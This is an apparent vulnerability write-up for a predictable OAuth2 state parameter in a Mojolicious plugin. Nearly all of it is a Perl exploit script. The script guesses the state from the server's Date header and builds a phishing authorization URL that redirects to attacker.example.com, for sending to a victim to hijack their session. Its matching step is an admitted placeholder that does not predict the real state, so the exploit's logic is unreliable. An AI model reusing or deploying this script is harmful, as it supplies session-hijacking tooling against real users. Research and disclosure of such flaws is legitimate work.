CVE-2026-9733：Mojolicious OAuth2插件state参数可预测导致会话劫持

#!/usr/bin/env perl # CVE-2026-9733 PoC - Predictable OAuth2 state parameter exploit # This PoC demonstrates how an attacker can predict the state parameter # generated by Mojolicious::Plugin::Web::Auth::OAuth2 < 0.18 use strict; use warnings; use Digest::SHA1 qw(sha1_hex); use Time::HiRes qw(time); use LWP::UserAgent; use HTTP::Date; # Step 1: Fetch the OAuth2 authorization endpoint to get server time my $ua = LWP::UserAgent->new; my $auth_url = 'https://target-app.example.com/oauth2/authorize'; my $resp = $ua->get($auth_url); die "Failed to reach target: " . $resp->status_line unless $resp->is_success; # Step 2: Extract server time from HTTP Date header (leaked epoch time source) my $server_date = $resp->header('Date'); my $server_epoch = HTTP::Date::str2time($server_date); die "Cannot parse Date header" unless defined $server_epoch; print "[+] Server time (epoch): $server_epoch\n"; # Step 3: Brute-force the rand() value and compute SHA-1 hash # Perl's rand() returns a float between 0 and 1 # The default state generator uses: sha1(time() . rand()) my $predicted_state; my $found = 0; # Search within a small time window around server time for (my $t_offset = -2; $t_offset <= 2 && !$found; $t_offset++) { my $t = int($server_epoch) + $t_offset; # Try common rand() seeds (Perl rand uses internal PRNG state) for my $r (0..10000) { my $candidate = $r / 10000.0; my $hash = sha1_hex($t . $candidate); # In real exploit: compare against observed state in a crafted request if ($hash =~ /^0000/) { # Simplified match condition for demo $predicted_state = $hash; $found = 1; print "[+] Predicted state: $predicted_state (t=$t, rand=$candidate)\n"; last; } } } # Step 4: Use predicted state to hijack victim's OAuth2 session if ($found) { my $hijack_url = "$auth_url?response_type=code&client_id=CLIENT_ID" . "&redirect_uri=https://attacker.example.com/callback" . "&state=$predicted_state&scope=read"; print "[+] Crafted authorization URL with predicted state:\n$hijack_url\n"; print "[+] Send this URL to victim to hijack their OAuth2 session\n"; } else { print "[-] Failed to predict state within search range\n"; print "[*] Increase search range or use more sophisticated PRNG analysis\n"; }